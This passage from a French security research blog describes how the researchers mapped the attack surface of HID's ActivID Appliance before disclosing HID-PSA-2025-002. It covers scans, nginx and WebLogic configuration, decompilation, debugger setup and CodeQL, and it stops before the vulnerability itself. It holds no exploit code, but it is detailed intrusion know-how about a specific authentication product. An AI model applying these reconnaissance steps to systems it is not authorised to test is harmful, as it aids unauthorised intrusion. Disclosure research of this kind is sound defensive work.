ActivID administrator account takeover : the story behind HID-PSA-2025-002
En septembre 2025, l'un de nos clients nous a demandé de nous concentrer sur un produit spécifique : l'ActivID Appliance par HID. Selon le fournisseur, ce produit est utilisé dans le monde entier pour sécuriser l'accès aux infrastructures et aux données critiques. Il prend en charge une large gamme de méthodes d'authentification, notamment l'authentification push, le code à usage unique (OTP), les informations d'identification PKI et les informations d'identification statiques. Dans cet article, nous vous présenterons la méthodologie que nous avons utilisée pour découvrir HID-PSA-2025-002, un contournement d'authentification dans l'API SOAP pouvant mener à un accès administratif sur l'application.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Avant-propos
Cet article est volontairement détaillé pour présenter autant d'aspects méthodologiques que possible concernant l'analyse de code en boîte blanche. Si seule la partie expliquant la vulnérabilité vous intéresse, veuillez vous référer à l'avis de sécurité HID-PSA-2025-002 ou sauter directement à la section d'investigation.
Identification du produit
Notre premier objectif était d'identifier la version exacte du produit, car plusieurs versions étaient disponibles sur la page de téléchargement de HID. La seule information que notre client nous avait fournie était l'URL de l'application. À partir de là, le seul artefact de version que nous avons remarqué était l'identifiant suivant, trouvé dans le footer HTML de l'instance de notre client :
Cet identifiant, v080620, n'a pu être trouvé que dans la version 8.5 de leur EULA (Contrat de Licence Utilisateur Final) au format PDF, disponible au téléchargement sur leur site web :
En suivant le guide d'installation, nous avons obtenu une instance virtualisée VMware de la solution dans sa version 8.5, nous donnant un accès root complet sur la machine.
Découverte de la surface d'attaque
Cette partie peut sembler assez ennuyeuse au premier abord, mais obtenir une bonne compréhension des routes et services exposés est une étape clé pour une analyse en boîte blanche. Dans le cas de cette recherche, nous pensons que l'analyse méticuleuse de chaque service a grandement contribué à la découverte de la vulnérabilité.
Étant donné que notre recherche se base sur la surface non authentifiée, à distance, un premier scan nmap est effectué :
$ nmap -p- -sV hid --open
PORT STATE SERVICE VERSION
40/tcp open ssh OpenSSH 7.4 (protocol 2.0)
443/tcp open ssl/http nginx
1005/tcp open ssl/http nginx
8443/tcp open ssl/http nginx
Une fois authentifié sur la VM (Machine Virtuelle), nous avons commencé à énumérer les services en écoute :
$ ss -ntalp
State Local Address:Port Process
LISTEN 0.0.0.0:3000 users:(("java",pid=3038,fd=58))
LISTEN 127.0.0.1:7800 users:(("java",pid=3038,fd=55))
LISTEN 127.0.0.1:25 users:(("master",pid=1821,fd=13))
LISTEN 0.0.0.0:61626 users:(("java",pid=3446,fd=990))
LISTEN 127.0.0.1:8443 users:(("java",pid=3446,fd=1009))
LISTEN 192.168.116.128:8443 users:(("java",pid=3446,fd=1008))
LISTEN 0.0.0.0:443 users:(("nginx",pid=1435,fd=6))
LISTEN 127.0.0.1:8445 users:(("java",pid=3446,fd=1010))
LISTEN 192.168.116.128:8445 users:(("java",pid=3446,fd=1007))
LISTEN 127.0.0.1:2016 users:(("oraagent.bin",pid=2049,fd=126))
LISTEN 127.0.0.1:50403 users:(("java",pid=3038,fd=57))
LISTEN 0.0.0.0:5093 users:(("lserv",pid=1357,fd=4))
LISTEN 0.0.0.0:40 users:(("sshd",pid=1360,fd=3))
LISTEN 127.0.0.1:9002 users:(("java",pid=3446,fd=694))
LISTEN 192.168.116.128:9002 users:(("java",pid=3446,fd=693))
LISTEN 0.0.0.0:1005 users:(("nginx",pid=1435,fd=8))
LISTEN 0.0.0.0:1006 users:(("nginx",pid=1435,fd=12))
LISTEN 127.0.0.1:56367 users:(("ocssd.bin",pid=2179,fd=137))
LISTEN 127.0.0.1:1007 users:(("miniserv.pl",pid=1858,fd=4))
LISTEN 0.0.0.0:61616 users:(("java",pid=3446,fd=989))
LISTEN 0.0.0.0:1008 users:(("nginx",pid=1435,fd=10))
LISTEN 192.168.116.128:1521 users:(("tnslsnr",pid=2080,fd=16))
LISTEN 127.0.0.1:1521 users:(("tnslsnr",pid=2080,fd=7))
LISTEN 0.0.0.0:1009 users:(("nginx",pid=1435,fd=14))
LISTEN *:50061 users:(("ora_d000_ftress",pid=2513,fd=44))
Pour faire court, les points suivants présentent un intérêt :
-
Les processus Java qui sont en écoute sur les ports 8443, 8445, 1005 et 1006.
-
Le proxy inverse Nginx qui a pu être vu sur le port 443 lors du scan nmap.
On peut remarquer que ces processus Java n'étaient pas détectés lors de l'utilisation de nmap, cela peut s'expliquer en listant les règles de pare-feu :
$ iptables -nvL
[...]
Chain IN_public_allow (1 references)
pkts bytes target prot opt in out source destination
15719 943K ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:443 ctstate NEW,UNTRACKED
17 1020 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:1005 ctstate NEW,UNTRACKED
0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:1006 ctstate NEW,UNTRACKED
0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:1812 ctstate NEW,UNTRACKED
10 536 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:40 ctstate NEW,UNTRACKED
0 0 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 ctstate NEW,UNTRACKED mark match 0x64
0 0 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 ctstate NEW,UNTRACKED mark match 0x65
Pour le protocole TCP, seuls les ports 40, 443 (HTTPS), 1005 et 1006 sont autorisés à être atteints.
Étant donné que le port 443 est ouvert sur internet, commençons par comprendre comment le proxy Nginx est configuré.
Investigation du service Nginx
L'analyse de la configuration Nginx commence par la lecture du fichier /etc/nginx :
user nginx;
worker_processes 2;
http {
include /etc/nginx/conf.d/*.conf;
}
Dans notre cas, ce fichier de configuration principal inclut uniquement tout autre fichier de configuration présent dans le dossier /etc/nginx/conf.d/ :
$ ls -l /etc/nginx/conf.d/*.conf
-rwx------ 1 root root 2005 Jun 20 2017 /etc/nginx/conf.d/default.conf
-rw-r--r-- 1 root root 652 Dec 18 2020 /etc/nginx/conf.d/web_activid.conf
Le fichier d'intérêt est web_activid.conf :
upstream weblogic8445 {
keepalive 30;
server 127.0.0.1:8445;
}
upstream weblogic8443 {
keepalive 30;
server 127.0.0.1:8443;
}
upstream webmin {
server 127.0.0.1:1007;
}
include /etc/nginx/include/TLS1.conf;
include /etc/nginx/include/TLS2.conf;
include /etc/nginx/include/TLS3.conf;
include /etc/nginx/include/MTLS1.conf;
include /etc/nginx/include/MTLS2.conf;
Deux déclarations d'upstream sont faites : weblogic8443 et weblogic8445, pointant respectivement vers des services HTTP sur les ports 8445 et 8443 de localhost. Les upstreams sont utilisés pour définir des serveurs qui peuvent ensuite être référencés dans l'ensemble de la configuration du serveur Nginx. Après cela, d'autres fichiers de configuration sont inclus, qui pourraient définir des services TLS et des services TLS avec authentification mutuelle, selon leur nommage.
Le fichier /etc/nginx/include/TLS1.conf est le suivant :
server {
listen 443 ssl ;
listen [::]:443 ssl ;
ssl_verify_client off;
# ...
set $upstream weblogic8445;
# ...
include /etc/nginx/include/app/TLS1/*.conf;
}
En ce qui concerne les autres fichiers de configuration TLS2.conf, TLS3.conf, MTL3.conf et MTLS2.conf, ceux-ci ne seront pas explorés, car ils font référence à des services qui ne sont pas accessibles depuis internet, ou qui nécessitent une authentification mutuelle à l'aide d'un certificat client.
Pour revenir à la configuration TLS1, ici, un serveur écoutant sur le port 443 est déclaré, il définit une variable $upsteam à weblogic8445, et certaines configurations de serveur situées dans /etc/nginx/include/app/TLS1 sont incluses :
$ ls -l /etc/nginx/include/app/TLS1
total 0
lrwxrwxrwx 1 root root 48 Sep 2 17:11 AuthenticationPortal.conf -> /etc/nginx/include/app/AuthenticationPortal.conf
lrwxrwxrwx 1 root root 39 Sep 2 17:11 HealthCheck.conf -> /etc/nginx/include/app/HealthCheck.conf
lrwxrwxrwx 1 root root 45 Sep 2 17:11 ManagementConsole.conf -> /etc/nginx/include/app/ManagementConsole.conf
lrwxrwxrwx 1 root root 32 Sep 2 17:11 Root.conf -> /etc/nginx/include/app/Root.conf
lrwxrwxrwx 1 root root 35 Sep 2 17:11 SCIMAPI.conf -> /etc/nginx/include/app/SCIMAPI.conf
lrwxrwxrwx 1 root root 45 Sep 2 17:11 SelfServicePortal.conf -> /etc/nginx/include/app/SelfServicePortal.conf
lrwxrwxrwx 1 root root 35 Sep 2 17:11 SoapAPI.conf -> /etc/nginx/include/app/SoapAPI.conf
Ces fichiers sont tous des liens symboliques vers leur fichiers équivalents dans /etc/nginx/include/app/. Par exemple, le fichier AuthenticationPortal.conf :
location /idp/ {
proxy_pass https://$upstream;
}
# OpenID
location ~ /idp/[^/]+/authn/ {
proxy_pass https://$upstream;
include /etc/nginx/include/openiderrorhandling.conf;
}
De manière similaire, le fichier SoapAPI.conf :
location ^~ /4TRESS/ {
proxy_pass https://$upstream;
limit_except POST {
deny all;
}
if ($request_uri ~* "(?:wsdl|xsd)$") {
return 404;
}
include /etc/nginx/include/soaperrorhandling.conf;
}
location ^~ /ac-iasp-backend-jaxws/ {
proxy_pass https://$upstream;
limit_except POST {
deny all;
}
if ($request_uri ~* "(?:wsdl|xsd)$") {
return 404;
}
include /etc/nginx/include/soaperrorhandling.conf;
}
Nous pouvons observer que ces fichiers de configuration suivent la même logique basée sur une directive location. Par exemple pour /idp/, ils re-routent la requête HTTP vers un serveur défini par une variable $upstream. Cette variable a été définie précédemment, en l'occurrence comme weblogic8445, qui pointe vers un serveur HTTP hébergé sur le port 8445 de localhost !
Après avoir extrait les chemins et les destinations, le routage suivant peut être observé :
Investigation des services Java
Lors de l'énumération des processus, le port 8445 était bien répertorié comme un processus Java. Les informations complètes sur ce processus sont récupérées comme suit :
$ lsof -i :8445
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
java 3301 ftuser 1005u IPv4 50538 0t0 TCP hid:copy (LISTEN)
$ ps -fwwp 3301
UID PID PPID C STIME TTY TIME CMD
ftuser 3301 3247 0 14:19 ? 00:02:29 /usr/java/default/bin/java -server -Xms2048m -Xmx2048m -Dweblogic.Name=ActivIDServer -Djava.security.policy=/opt/hid/weblogic/product/Oracle_Home/wlserver/server/lib/weblogic.policy -Dweblogic.ProductionModeEnabled=true -Djava.system.class.loader=com.oracle.classloader.weblogic.LaunchClassLoader -javaagent:/opt/hid/weblogic/product/Oracle_Home/wlserver/server/lib/debugpatch-agent.jar -da -Dwls.home=/opt/hid/weblogic/product/Oracle_Home/wlserver/server -Dweblogic.home=/opt/hid/weblogic/product/Oracle_Home/wlserver/server -Djavax.net.ssl.trustStorePassword=changeit -Djavax.net.ssl.trustStore=/opt/hid/weblogic/activid/stores/truststore.jks -Djavax.net.ssl.trustStoreType=JKS -DPWB_CONFIG_FILE=/usr/local/activid/ActivID_AS/config/passphraseObfuscator.properties -Djava.net.preferIPv4Stack=true -Dactivid.home.dir=/usr/local/activid -Djava.awt.headless=true -Djava.library.path=/usr/local/activid/ActivID_AS/lib:/usr/local/lib:/usr/lib:: -Duser.domain=/opt/hid/weblogic/config/activid_domain -Dweblogic.Name=ActivIDServer -Dweblogic.security.SSL.minimumProtocolVersion=TLSv1.2 -Djava.awt.headless=true -Dactivid.enable.monitoring.servlet=true -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -Dhttps.cipherSuites=TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,TLS_DHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_DHE_RSA_WITH_AES_128_CBC_SHA -Dweblogic.Stdout=/opt/hid/weblogic/activid/logs/weblogicStdout.log -Dweblogic.Stderr=/opt/hid/weblogic/activid/logs/weblogicStderr.log -Doracle.dms.context=OFF -DUseSunHttpHandler=true -Djava.security.auth.login.config=/opt/hid/weblogic/config/activid_domain/jaas.conf -Djava.security.egd=file:/dev/./urandom -Dweblogic.security.allowCryptoJDefaultPRNG=true -Djava.security.manager -Dweblogic.MaxMessageSize=41943040 weblogic.Server
Pour résumer, cette commande Java :
- Lance une instance du serveur web WebLogic via la classe
weblogic.Server - Définit certaines de ses propriétés et fonctionnalités (stdin, stdout, utilisation de la mémoire, suites de chiffrement, etc.)
- Configure un domaine situé à
/opt/hid/weblogic/config/activid_domain. - Configure certaines variables spécifiques aux applications, par exemple
activid.enable.monitoring.servlet
Pour WebLogic, un domaine n'est rien de moins qu'un dossier contenant toutes les ressources nécessaires pour instancier une ou plusieurs applications Java. Dans un tel dossier, selon la documentation, il devrait y avoir un fichier config.xml au sein d'un dossier config :
$ ls -lah /opt/hid/weblogic/config/activid_domain/config/config.xml
-rw-rw---- 1 ftadmin ftgroup 12K Sep 2 17:15 /opt/hid/weblogic/config/activid_domain/config/config.xml
Ce fichier XML contient la liste de toutes les applications Java qui ont été lancées au sein du domaine, ainsi que d'autres paramètres (port d'écoute, format de journalisation, etc.). Ces applications peuvent, par exemple, être déployées en tant que :
-
Un WAR (Web Application aRchive) : un fichier d'archive qui contient une seule application web Java : fichiers HTML statiques, logique métier au sein de Servlets, fichiers JSP, librairies Java (extension
jar), etc. Une telle application est configurée par un fichier de configuration, web.xml, situé à l'intérieur du fichier/WEB-INF/web.config, une fois le fichier.warextrait. -
Un EAR (Enterprise Application aRchive) : un fichier d'archive contenant un ou plusieurs fichiers WAR à déployer, ou d'autres fonctionnalités Java telles que les EJBs (Enterprise Java Beans). Ce format est utilisé lorsqu'il est nécessaire de partager du code entre des applications, ou même simplement de regrouper un déploiement. Une telle application est configurée par son fichier de configuration
/WEB-INF/application.xml, une fois le fichier.earextrait.
Dans notre cas, la configuration est la suivante :
<server>
<name>ActivIDServer</name>
<ssl>
<name>ActivIDServer</name>
<listen-port>8445</listen-port>
</ssl>
<!-- ... -->
<app-deployment>
<name>4TRESS-EAR</name>
<module-type>ear</module-type>
<source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-authentication-services-weblogic.ear</source-path>
</app-deployment>
<app-deployment>
<name>ACTIVID-MC</name>
<module-type>war</module-type> <source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-management-console-weblogic.war</source-path>
</app-deployment>
<app-deployment>
<name>ACTIVID-SSP</name>
<module-type>war</module-type> <source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-self-service-portal-weblogic.war</source-path>
</app-deployment>
L'analyse de ce fichier confirme que l'application Java est bien à l'écoute sur le port 8445, et surtout donne le chemin d'accès aux fichiers EAR et WAR déployés, qui contiennent le code Java exécuté par l'application.
Architecture d'une application web Java
Le format EAR
Avant d'entrer dans le code Java, comprenons comment fonctionnent les applications Java. Pour cela, nous allons examiner l'architecture de activid-authentication-services-weblogic.ear :
$ unzip activid-authentication-services-weblogic.ear -d activid-authentication-services-weblogic
$ tree ./activid-authentication-services-weblogic/
./activid-authentication-services-weblogic
├── ac-4tress-core.jar
├── ac-4tress-scim-configuration.war
├── ac-4tress-scim.war
├── ac-iasp-backend.jar
├── activid-authentication-portal-weblogic.war
├── activid-health-check.war
├── lib
│ ├── ac-4tadap-samlproc.jar
│ ├── ac-4tadap-spi.jar
│ ├── ac-4tcore-api.jar
...
│ ├── commons-discovery-0.5.jar
│ ├── commons-fileupload-1.3.3.jar
│ └── xmlsec-2.2.0.jar
└── META-INF
├── application.xml
├── jboss-deployment-structure.xml
├── jboss-permissions.xml
├── MANIFEST.MF
├── was.policy
└── weblogic-application.xml
Lorsque vous dézippez un fichier EAR, vous visualisez une application d'entreprise complète packagée sous forme de multiples modules. Les fichiers .war sont les applications web (endpoints REST, interfaces utilisateur, servlets), tandis que les fichiers .jar comme ac-4tress-core.jar et ac-iasp-backend.jar sont des modules EJB qui fournissent les services backend utilisés par ces applications web.
Le répertoire lib/ contient les librairies partagées qui sont visibles par chaque module de l'EAR, permettant de centraliser le code commun au lieu de le dupliquer. Le répertoire META-INF/ contient les descripteurs de déploiement : weblogic-application.xml pour la configuration spécifique à WebLogic, divers descripteurs de fournisseurs pour d'autres conteneurs, et surtout application.xml, qui définit la structure de l'EAR en listant chaque module et en indiquant au serveur d'applications comment les déployer. Ce fichier est le suivant :
<application>
<display-name>ActivID Authentication Services</display-name>
<application-name>4TRESS-EAR</application-name>
<initialize-in-order>true</initialize-in-order>
<module>
<ejb>ac-4tress-core.jar</ejb>
</module>
<module>
<ejb>ac-iasp-backend.jar</ejb>
</module>
<module>
<web>
<web-uri>activid-health-check.war</web-uri>
<context-root>AIHealthCheck</context-root>
</web>
</module>
<module>
<web>
<web-uri>ac-4tress-scim.war</web-uri>
<context-root>scim</context-root>
</web>
</module>
<module>
<web>
<web-uri>ac-4tress-scim-configuration.war</web-uri>
<context-root>configuration</context-root>
</web>
</module>
<module>
<web>
<web-uri>activid-authentication-portal-weblogic.war</web-uri>
<context-root>idp</context-root>
</web>
</module>
</application>
Ici, nous trouvons plusieurs modules web, tels que l'application web activid-authentication-portal-weblogic.war. L'élément context-root indique le point de départ dans l'URL, qui est ici idp. Par conséquent, toute requête HTTP de la forme http://hid/idp/ sera transmise au WAR associé par WebLogic : activid-authentication-portal-weblogic.war.
Après avoir examiné ce XML, notre compréhension de l'application et de son architecture est désormais la suivante :
Le format WAR
Concernant le format WAR, nous prendrons l'exemple de activID-authentication-portal-weblogic.war :
$ mkdir activid-authentication-portal-weblogic
$ cd activid-authentication-portal-weblogic $ unzip ../activid-authentication-portal-weblogic.war
[...]
$ tree .
.
├── about.xhtml
├── auth
│ ├── actions-body.xhtml
│ [...]
│ └── reset-password.xhtml├── authn
│ ├── login.xhtml
│ └── token.xhtml
├── binding
│ ├── login-artifact.xhtml
│ [...]
│ ├── nameid-redirect.xhtml
│ └── single-logout-post.xhtml
├── common
│ ├── applet
│ │ └── applet.xhtml
│ ├── error.xhtml
│ └── required.xhtml
│ [...]
├── index.html
├── license.xhtml
├── META-INF
│ ├── MANIFEST.MF
│ └── was.policy
├── nocookie.xhtml
├── resources
│ ├── csrfguard.js
│ ├── css
│ │ └── theme.css
│ └── js
│ ├── base64url-arraybuffer.js
│ └── webauthn.js
├── timeout.xhtml
└── WEB-INF
├── beans.xml
├── ejb-jar.xml
├── jboss-web.xml
├── lib
│ ├── ac-iasp-frontend.jar
│ ├── ac-iasp-frontend-jaxws.jar
│ ├── ac-inputval-esapi.jar
│ ├── ac-oauth20sdk.jar
│ ├── ai-4tress-samlidp.jar
│ ├── commons-lang3-3.7.jar
│ ├── csrfguard.jar
│ ├── esapi-2.1.0.1.jar
│ ├── lang-tag-1.4.3.jar
│ ├── oauth2-oidc-sdk-5.63.jar
│ └── primefaces-6.2.jar
├── weblogic-ejb-jar.xml
├── weblogic.xml
└── web.xml
Nous commençons enfin à voir des fichiers liés aux applications web, comme des fichiers HTML (xhtml et html) qui affichent l'interface utilisateur. Par exemple, naviguer vers la page https://hid/idp/common/error.xhtml affiche :
Cette page correspond correctement au fichier activID-authentication-portal-weblogic/common/error.xhtml que nous venons d'extraire du WAR.
Dans l'arborescence des fichiers, le répertoire WEB-INF se distingue. Il contient les fichiers JAR pour toutes les dépendances locales à l'application, telles que les classes qui vont gérer les actions déclenchées par les fichiers xhtml ou les requêtes ciblant des Servlets Java web exposés. Les Servlets Java sont des classes qui exposent des méthodes accessibles via HTTP, le fondement des applications web Java.
Tandis que le déclenchement d'un fichier xhtml est direct (puisqu'il suffit de connaître le chemin du fichier et la configuration du module Java Faces), en ce qui concerne les Servlets, nous devons d'abord examiner le fichier web.xml pour comprendre ce qui se passe.
Ce fichier contient beaucoup d'informations pour cartographier la surface d'attaque, car il définit :
-
Les Servlets, spécifiés dans les balises
<servlet>, associés à leur classe Java, ainsi que leur URL définie dans les balises<servlet-mapping>. -
Les Filtres (balises
<filter>) qui sont appliqués (à comprendre comme des middlewares) avant (requête HTTP) et après (réponse HTTP) les actions du servlet, ainsi que les URL pour lesquelles ils s'appliquent (balises<filter-mapping>). -
L'instanciation des classes et des paramètres.
Disséquons celui issu du WAR activID-authentication-portal-weblogic (certaines parties sont tronquées pour plus de clarté) :
$ cat activid-authentication-portal-weblogic/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
<display-name>ActivID Authentication Portal</display-name>
<servlet>
<servlet-name>Faces Servlet</servlet-name>
<servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.xhtml</url-pattern>
</servlet-mapping>
<!-- ... other servlets are declared -->
<servlet>
<description></description>
<display-name>SamlArtResolverServlet</display-name>
<servlet-name>SamlArtResolverServlet</servlet-name>
<servlet-class>com.actividentity.idp.servlet.SamlArtResolverServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>SamlArtResolverServlet</servlet-name>
<url-pattern>/binding/artifact-resolution</url-pattern>
</servlet-mapping>
<filter>
<filter-name>ProtocolFilter</filter-name>
<filter-class>javax.faces.webapp.FacesServlet</filter-class>
</filter>
<!-- ... other filters are declared -->
<filter>
<filter-name>SecurityWrapper</filter-name>
<filter-class>com.hidglobal.ia.security.inputval.esapi.SecurityWrapper</filter-class>
</filter>
<filter-mapping>
<filter-name>ProtocolFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!-- ... other filter mappings are declared -->
<filter-mapping>
<filter-name>Security Filter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>ERROR</dispatcher>
</filter-mapping>
<!-- ... -->
</web-app>
Ici, plusieurs Servlets sont définis. Par exemple, toute requête de la forme /idp/binding/artifact-resolution sera transmise au servlet com.actividentity.idp.servlet.SamlArtResolverServlet, car il est référencé dans le mapping. De la même manière, toute URL correspondant à /idp/*.xhtml sera transmise au servlet javax.faces.webapp.FacesServlet.
Cependant, avant d'atteindre ces classes, la requête HTTP passera par la liste de filtres déclarés, si ceux-ci correspondent au filter-mapping. Dans cet exemple, toute requête (/*) passera par le ProtocolFilter, puis par le Security Filter, dont le code est respectivement déclaré dans les classes javax.faces.webapp.FacesServlet et com.hidglobal.ia.security.inputval.esapi.SecurityWrapper.
Enfin, pour trouver quelle librairie Java (quel fichier JAR), déclare les classes identifiées, une simple commande grep suffit. Par exemple, avec com.actividentity.idp.servlet.SamlArtResolverServlet :
$ cd activid-authentication-portal-weblogic/WEB-INF/lib/
$ rg -al 'com.actividentity.idp.servlet.SamlArtResolverServlet'
ai-4tress-samlidp.jar
$ unzip -l ai-4tress-samlidp.jar
[...]
2961 2020-12-18 17:10 com/actividentity/idp/servlet/SamlArtResolverServlet.class
Maintenant que nous comprenons comment le fichier web.xml permet de mapper une URL à une classe Java, notre compréhension est désormais la suivante (notez que nous ne détaillons que partiellement la structure du WAR activid-authentication-portal-weblogic précédent) :
Décompilation 101
À ce stade, nous sommes désormais en mesure de comprendre le routage depuis Nginx jusqu'à un servlet spécifique, et donc la classe Java responsable de la logique métier. Cependant, nous devons maintenant être capables de lire le code Java afin d'identifier d'éventuelles vulnérabilités. C'est là qu'intervient la décompilation.
Plusieurs outils peuvent être utilisés pour décompiler le bytecode Java. Au cours de nos recherches, nous avons utilisé vineflower, un décompilateur Java moderne basé sur le décompilateur Fernflower de JetBrains.
Pour la décompilation, nous allons cibler les fichiers JAR EJB, ainsi que tous les fichiers JAR situés dans le répertoire lib du fichier WAR extrait :
$ ls -l
-rw-r--r-- 1 user user 3203575 Nov 17 16:08 ac-4tress-core.jar
-rw-r--r-- 1 user user 125721 Nov 17 16:08 ac-iasp-backend.jar
-rw-r--r-- 1 user user 39182 Nov 17 16:06 ac-iasp-frontend.jar
-rw-r--r-- 1 user user 1127763 Nov 17 16:06 ac-iasp-frontend-jaxws.jar
-rw-r--r-- 1 user user 60809 Nov 17 16:06 ac-inputval-esapi.jar
-rw-r--r-- 1 user user 39105 Nov 17 16:06 ac-oauth20sdk.jar
-rw-r--r-- 1 user user 434327 Nov 17 16:06 ai-4tress-samlidp.jar
-rw-r--r-- 1 user user 499634 Nov 17 16:06 commons-lang3-3.7.jar
-rw-r--r-- 1 user user 156911 Nov 17 16:06 csrfguard.jar
-rw-r--r-- 1 user user 395859 Nov 17 16:06 esapi-2.1.0.1.jar
-rw-r--r-- 1 user user 10621 Nov 17 16:06 lang-tag-1.4.3.jar
-rw-r--r-- 1 user user 418019 Nov 17 16:06 oauth2-oidc-sdk-5.63.jar
-rw-r--r-- 1 user user 4271042 Nov 17 16:06 primefaces-6.2.jar
$ fdfind '\.jar$' | parallel java -jar ~/tools/vineflower.jar {} ./out/
[...]
INFO: Decompiling class com/actividentity/service/iasp/frontend/wallet/jaxws/WalletService
INFO: ... done
INFO: Decompiling class com/actividentity/service/iasp/frontend/wallet/jaxws/package-info
[...]
INFO: ... done
Enfin, en utilisant un IDE tel que VSCode, le code Java de SamlArtResolverServlet peut par exemple être lu :
Mise en place du debug
Maintenant que nous avons clarifié la surface d'attaque et que nous sommes capables de lire le code Java, nous souhaitons ajouter un stub de débogage pour pouvoir définir des points d'arrêts depuis notre IDE favori pour une analyse plus poussée.
L'inspection des processus a révélé que notre application Java a été lancée depuis un processus dont le PID était 3315 :
$ ps -fwwp 3315
UID PID PPID C STIME TTY TIME CMD
ftuser 3315 1 0 02:40 ? 00:00:00 /bin/sh /opt/hid/weblogic/config/activid_domain/bin/startWebLogic.sh
$ cat /opt/hid/weblogic/config/activid_domain/bin/startWebLogic.sh
[...]
DOMAIN_HOME="/opt/hid/weblogic/config/activid_domain"
. ${DOMAIN_HOME}/bin/setDomainEnv.sh $*
SAVE_JAVA_OPTIONS="${JAVA_OPTIONS}"
[...]
${JAVA_HOME}/bin/java ${JAVA_VM} ${MEM_ARGS} -Dweblogic.Name=${SERVER_NAME} -Djava.security.policy=${WLS_POLICY_FILE} ${JAVA_OPTIONS} ${PROXY_SETTINGS} ${SERVER_CLASS} >"${WLS_REDIRECT_LOG}" 2>&1
Ce script bash startWebLogic.sh définit des variables d'environnement et des options qui sont ensuite transmises à la commande java. Nous pouvons donc détourner ce script afin d'ajouter un stub de débogage sur notre serveur WebLogic :
JAVA_OPTIONS="${SAVE_JAVA_OPTIONS} -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
En relançant le serveur web, nous pouvons confirmer que le port de notre JDWP est bien en écoute :
$ reboot
$ ss -untalp | grep 5005
tcp LISTEN 0 1 0.0.0.0:5005 0.0.0.0:* users:(("java",pid=3446,fd=628)
Nous avons également configuré notre IDE pour s'attacher à la JVM distante :
Rapide analyse with CodeQL
Avant de procéder à une revue manuelle approfondie, nous passons généralement le code à un outil SAST (Static Application Security Testing). Nous apprécions particulièrement CodeQL pour le code source Java, car il est gratuit, complet et bien maintenu par la communauté. Il permet d'écrire des requêtes dans un langage basé sur la logique pour trouver des schémas précis : chemins de désérialisation non sécurisés, concaténation de chaînes dangereuses dans du SQL, ou tout autre élément qui suit un modèle structurel dans le code. Si vous souhaitez plus de détails sur l'écriture de vos propres requêtes, n'hésitez pas à consulter la série complète "CodeQL Zero To Hero" sur le blog de CodeQL, ou l'excellent article de notre expert Hugo Vincent sur la découverte d'un gadget de désérialisation JNDI dans Wildfly à l'aide de CodeQL.
Création de la base de données
La première étape pour utiliser CodeQL sur un code source donné est de construire une base de données. Cette base de données contiendra des données interrogeables extraites de votre base de code. Plus précisément, elle contiendra une représentation complète et hiérarchique du code, y compris une représentation de l'AST (arbre syntaxique abstrait), du DFG (graphe de flux de données) et du CFG (graphe de flux de contrôle). Pour les langages compilés, l'exécution d'une analyse SAST implique le plus souvent de compiler le projet en utilisant le code source.
Cela pourrait être problématique pour nous, car nous ne disposons pas du code source, mais uniquement d'une version décompilée qui a été extraite des archives de l'application identifiée, et qui ne sera très probablement pas recompilable.
Cependant, en juin 2025, CodeQL a introduit une nouvelle fonctionnalité révolutionnaire appelée build-mode none. L'option build-mode none peut être utilisée pour créer des bases de données sans avoir à compiler le code source (le support est actuellement limité à C/C++, C#, Java et Rust).
Une fois que nous avons réussi à extraire les sources de l'application, nous avons créé une base de données CodeQL en utilisant la commande suivante :
$ codeql database create ~/codeql/databases/activid-authentication-services-weblogic-8.5 --language java --build-mode none -s activid-authentication-services-weblogic_vineflower/
Note : Lorsque vous travaillez sur de gros projets, il est généralement judicieux de restreindre l'analyse aux bibliothèques personnalisées et au code source de votre application. Pour ce faire, il suffit d'éviter de décompiler les bibliothèques tierces avant de créer votre base de données.
Lancer l'analyse
L'étape suivante consiste à exécuter les requêtes CodeQL sur notre base de données fraîchement construite.
Exécuter l'analyseur CodeQL tel quel, sans arguments supplémentaires, va détecter automatiquement le langage de la base de données et exécuter les requêtes par défaut sur la cible, ce qui constitue un bon point de départ. Cependant, nous aimons généralement exécuter des requêtes supplémentaires, telles que celles provenant de GithubSecurityLab, qui permettent d'identifier beaucoup plus de problèmes de sécurité.
Pour ce faire, il faut télécharger les packs appropriés :
$ codeql pack download "codeql/java-all@*"
$ codeql pack download "codeql/java-queries@*"
$ codeql pack download "githubsecuritylab/codeql-java-queries"
Ensuite, afin de lancer les requêtes de sécurité pré-construites qui proviennent des packs que nous venons de télécharger, nous pouvons utiliser les suites de requêtes CodeQL. Le fichier suivant, javasec.qls, est créé :
- queries: .
from: codeql/java-queries
- queries: '.'
from: githubsecuritylab/codeql-java-queries
- include:
kind:
- problem
- path-problem
tags contain: security
- exclude:
tags contain:
- debugging
- audit
- template
- exclude:
